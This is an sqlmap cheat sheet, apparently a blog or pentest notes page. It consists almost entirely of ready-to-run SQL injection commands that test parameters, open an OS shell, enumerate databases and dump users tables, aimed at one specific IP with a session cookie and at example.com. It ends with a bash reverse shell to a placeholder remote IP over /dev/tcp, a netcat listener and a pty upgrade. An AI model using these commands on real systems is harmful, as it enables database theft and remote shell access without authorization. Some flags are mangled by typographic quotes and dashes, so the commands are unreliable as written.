Install sqlmap using apt
sudo apt install sqlmap
Examples commands
| Command | Description |
| sqlmap -u ‘http://10.44.13.44/dashboard.php?search=any+query’ –cookie=”PHPSESSID=rcegk9j75j30330937a1srgll1″ | test “search” parameter for vulnerabilities |
| sqlmap -u ‘http://10.44.13.44/dashboard.php?search=any+query’ –cookie=”PHPSESSID=rcegk9j75j30330937a1srgll1″ –os-shell | try to perform command injection |
| sqlmap -u “https://example.com/login.php” –method POST –data “username=FUZZ&password=FUZZ” –batch –dbs | Get a list of databases |
| sqlmap -u “https://example.com/login.php” –method POST –data “username=FUZZ&password=FUZZ” –tables -D DATABASENAME | get a list of tables for database name |
| sqlmap -u “https://example.com/login.php” –method POST –data “username=FUZZ&password=FUZZ” -D DATABASENAME -batch –dump -T users –force-pivoting | Get the contents of users table |
| sqlmap -r req –batch –dump | automatically dump all data. |
| sqlmap -u http://example.com/hackme.php –cookie=”id=1*” –batch –dump | dump all data +use user auth cookies |
| sqlmap -u “http://www.example.com/?id=2” –banner –current-user –current-db –is-dba | Basic DB Data Enumeration |
| sqlmap -u “http://www.example.com/?id=2” –tables -D exampleDB | retrieval of table names |
| sqlmap -u “http://www.example.com/?id=2” –dump -T users -D exampleDB | Dump table content |
| sqlmap -u “http://www.example.com/?id=2” –dump -T users -D exampleDB -C name,surname –start=2 –stop=3 | for large tables specify the columns |
| sqlmap -u “http://www.example.com/?id=1″ –dump -T users -D exampleDB –where=”name LIKE ‘f%'” | Conditional Enumeration |
Notes
skip the retrieval of content from system databases
--dump-all --exclude-sysdbs --dump-all --exclude-sysdbs To make shell connection much more stable, you can use the flowing payload
bash -c "bash -i >& /dev/tcp/{your remote IP address}/1234 0>&1"open listener port 1234 on your remote machine using netcat
sudo nc -lvnp 1234after you get foothold make your shell fully interactive
python3 -c 'import pty; pty.spawn("/bin/bash")'Screenshots
[envira-gallery id=’6720′]
